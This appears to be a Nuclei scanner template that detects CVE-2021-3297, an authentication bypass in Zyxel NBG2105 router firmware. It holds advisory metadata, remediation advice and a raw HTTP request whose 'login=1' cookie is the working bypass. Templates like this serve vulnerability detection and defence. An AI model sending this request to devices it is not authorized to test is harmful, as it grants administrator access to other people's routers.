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id : CVE-2021-3297
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info :
name : Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
author : gy741
severity : high
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description : Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
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remediation : |
Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
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reference :
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- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
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- https://www.zyxel.com/us/en/support/security_advisories.shtml
- https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
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classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 7.8
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cve-id : CVE-2021-3297
cwe-id : CWE-287
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epss-score : 0.18886
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epss-percentile : 0.95669
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cpe : cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : zyxel
product : nbg2105_firmware
tags : cve,cve2021,zyxel,auth-bypass,router
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http :
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- raw :
- |
GET /status.htm HTTP/1.1
Host : {{Hostname}}
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Cookie : language=en; login=1
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matchers-condition : and
matchers :
- type : word
words :
- "Running Time"
- "Firmware Version"
- "Firmware Build Time"
condition : and
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- type : status
status :
- 200
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# digest: 490a004630440220524b3f9a78f209933a7e8b384e020be811463f21822fb0f96ee3eceb0b3bade00220281f51da00ebf08c27af4821c044d67bad5500e4b4216aaa494752721e415b65:922c64590222798bb761d5b6d8e72950